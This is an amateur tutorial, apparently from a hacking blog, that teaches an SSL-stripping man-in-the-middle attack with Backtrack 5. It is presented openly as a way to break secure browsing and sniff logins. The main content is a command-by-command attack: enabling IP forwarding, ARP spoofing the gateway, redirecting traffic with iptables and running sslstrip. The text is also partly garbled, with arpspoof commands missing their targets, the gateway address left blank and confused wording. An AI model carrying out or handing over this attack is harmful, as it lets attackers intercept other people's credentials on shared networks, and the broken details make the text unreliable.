Hack ssl using sslstrip | Backtrack 5 | Tut Full

Secure Sockets Layer (SSL) ??

Secure Sockets Layer (SSL) is the most widely used technology for providing a secure communication between the web client and the web server. Most of us are familiar with many sites such as Gmail, Yahoo etc. using https protocol in their login pages. When we see this, we may wonder what’s the difference between http and https. In simple words HTTP protocol is used for standard communication between the Web server and the client. HTTPS is used for a SECURE communication.


 how to crack ssl it help us to break a secure 

communication (secure browsing) 

Advantage of Cracking SSL-Strip:

  • Address bar uses http instead of secure https.
  • Sniffing becomes easier then before...!!!

Things Required :
  • Backtrack 5
  • Arpspoof
  • IP Tables
  • SSL Strip
  • Netstat

Step By Step Guide :

  • So first start up your Backtrack 5 terminal & type the following Command 

echo '1' > /proc/sys/net/ipv4/ip_forward

  • Now after typing this command the backtrack will be able to forward the packets, now we have to get little information about the gateway Ip , so to know more about our gateway IP we will type the following command 

netstat -nr

  • After we get some info about the gateway ip, then we will ARPSpoof to perform the attack 

arpspoof -i eth0 

  • So in the above command eth0 represents the network interface card (NIC) or if you are using a wireless then it will be wlan0 . so in our case the default gateway is . After that we have to Download sslstrip, which you can find from the official website .

  • Then after we have installed sslstrip now we have to make our firewall to redirect the traffic from Port 80 to Port 8080, so to do this type the following command 

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

  • so our last step would be to make all the traffic go from ARPspoof tables

echo '1' > /proc/sys/net/ipv4/ip_forward

arpspoof -i eth0 

So finally we are done, now the ARPspoof will start capturing traffic & we have to use SSLstrip now so type the command below

sslstrip -l 8080

Now you have successfully cracked the SSLstrip !
